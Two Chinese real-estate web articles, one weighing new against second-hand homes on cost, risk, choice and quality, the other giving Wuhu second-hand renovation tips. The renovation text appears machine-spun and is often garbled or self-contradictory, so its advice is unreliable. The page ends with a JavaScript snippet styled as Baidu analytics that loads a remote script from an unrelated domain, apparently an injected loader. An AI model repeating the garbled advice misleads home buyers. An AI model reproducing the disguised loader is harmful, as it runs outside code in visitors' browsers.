新房和二手房哪个划算

在购买房子的时候，人们常常会在新房而二手房之间打转。购买新房吧，地段好、交通方便的价格又贵，价格便宜的也属于交通偏远的地区，上班上学就医都不方便;购买二手房吧，地段是好交通方便价格也实惠，但房子也有一定屋龄了，购买使用的时候会显得房子比较老旧，而且要交各种各样的税费。那么，新房和二手房哪个划算呢?新房和二手房哪个划算第一回合、购房成本：平手!购房成本是每个购房人最关心的问题，下面我们就来分析一下新房与二手房购房成本哪个更高吧：1、新房：新房的购房成本主要来自于购房款，将单位面积的定价乘以所购面积的平米数就能轻易得出房款总价。而契税、公共维修基金、物业费和房屋面积补(或退)差价等杂费可以推迟到交房时再做缴纳。除此之外，如果是贷款买房还要交纳一些诸如开发商的服务费和贷款保险费等费用。2、二手房：二手房的购房成本除了房款总结之外还要包括中介公司服务费。这笔服务费大约要占到成交总额的2.5%至2.8%之间。就是说一套100万的房产要缴纳2.5万至2.8万的中介服务费。另外，在所购买的二手房拿到房产证的时间没有超过5年的情况下，还要缴纳契税1.5%、营业税5.5%和所得税1%等费用。如果是贷款买房，还要增加1000元至3000元之间的费用，同样会增加购房者的购房成本。评定：由于新房的价格通常会高于二手房价格，而二手房在没满5年的情况下要缴纳的费用又高于新房。所以，在第一回合新房与二手房打了个平手。第二回合、购房风险：新房胜!购买新房由于是直接与KFS进行交易，相比于与个人交易风险自然要小得多。原因如下：1、政府对新房市场的监管力度明显大于对二手房市场监管力度。在这种情况下，新房市场的规范程度自然更有保障。2、KFS的实力和信誉度透明度更高，更便于购房者对其进行调查。3、新房的房屋质量相对于二手房更有保障。4、新房交易不通过中介公司，减少了交易环节使交易风险进一步降低。第三回合、选择余地：二手房胜!要说二手房在选择余地这个回合中战胜新房的理由如下：1、二手房的位置分布更加广泛。在一些已经开发完成的地段，由于土地被全部占用，已经没有了新房建设的空间。如果需要购买当地的房产就只能选择二手房产。2、二手房户型更加多样。任何一个新的房产项目推出的户型都是有限的。而以当下房产市场的特点来说，空间布置合理、朝向好的户型大多被涉及成大户型，尤其是塔楼更是如此。如果强调只能购买新房的话无疑会使购房者在购房成本或户型、朝向这几方面做出一定的让步。而选择二手房时通常只看重地段而不看重具体小区，由于不止局限于在一个小区内进行选择，所以可选户型当让大大多于新房项目。第四回合、房屋质量：新房胜!在对比新房和二手房房屋内、外部质量这个方面新房胜出得最为轻松，原因如下：1、新房的建造年限更短。2、新房质量的细节观察相对于二手房更容易。3、当房产质量出现问题时，新房比二手房更容易通过协商或法律途径解决问题。新房和二手房哪个划算?实际上新房和二手房有各自的优势，也有各自的成本，无论是购买新房还是二手房，以个人的需要才是必须的，考虑到个人实际情况很重要。在购买二手房的时候陷阱有很多，为了保证自己在买房子的时候不容易上当受骗，最好是能够找个正规的中介公司，有中介帮忙，购房的时候也能够省下很多的事情和麻烦。

快速了解芜湖二手房翻新的注意事项

二手房的翻新应该注意什么，许多二手房已经住了一段时间，房子已经翻新，所以在装修二手房时更有问题。更新二手房时，原有的装修将被拆除，部分业主将根据原有的装修进行翻新，原有的装修不会完全消除。此时，应注意房屋原有结构的质量，如果原水回路老化，则会妨碍整修。在这里，我们谈谈芜湖二手房翻新。1.在芜湖二手房翻新之前，应检查原房屋的基础。如果墙面是平的，如果墙面是打磨或掉落的话，有必要检查墙壁，地板，顶面等的裂缝。如果窗框与墙壁之间有裂缝，如果墙壁连接可以确保在拆除原始窗户时安装新窗户时的牢固性。如果这些问题出现在原始建筑物的表面上，则必须在更新时进行修理。在芜湖二手房翻新时应该注意什么？2，芜湖二手房翻新应注意什么，如果长时间使用，墙面的一般外观会出现开裂，开裂等。在装修期间，必须修复，拆除原始墙壁并将腻子涂在乳胶漆上。以这种方式，可以使壁的底部更坚固，并且可以防止返回到地板或返回到墙壁表面上的碱的现象。通常更换门窗，长时间使用的门窗容易变形，变黄，开裂等。更换可以防止门窗密封性差，门窗的内部风格可以统一。3，芜湖二手房翻新应注重生活功能的改造，重建水电改造和防水。如果二手房近年来没有经过翻新，原有的电路电缆容易老化或不能满足现代电缆设备的要求。通常，必须拆除原始电缆并用大方形电缆替换。必须重新设计水道的重建。传统装饰中使用的水管通常是镀锌管，容易漏水或渗水。为了保证生活质量，必须对其进行重组。防水即使原来的建筑是非常好的，很容易引起生活多年的情况下的问题，很容易在装修过程中破坏，因此有必要进行防水施工。4.当芜湖二手房翻新，大多数情况下发现，原来连接器的位置不匹配当前的装饰或连接器的数量的高度是小的。目前的装饰过程标准和功率要求与以前的标准不同。因此，在重新布线时，必须根据当前的装饰过程重新设计开关插座的高度和数量，以满足正常的使用寿命。芜湖二手房翻新无论是拆除还是保留，二手房都将被拆除。在施工过程中，应注意不要破坏原有的承重墙，壁炉和建筑物的其他设施，而在工作中注意安全。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();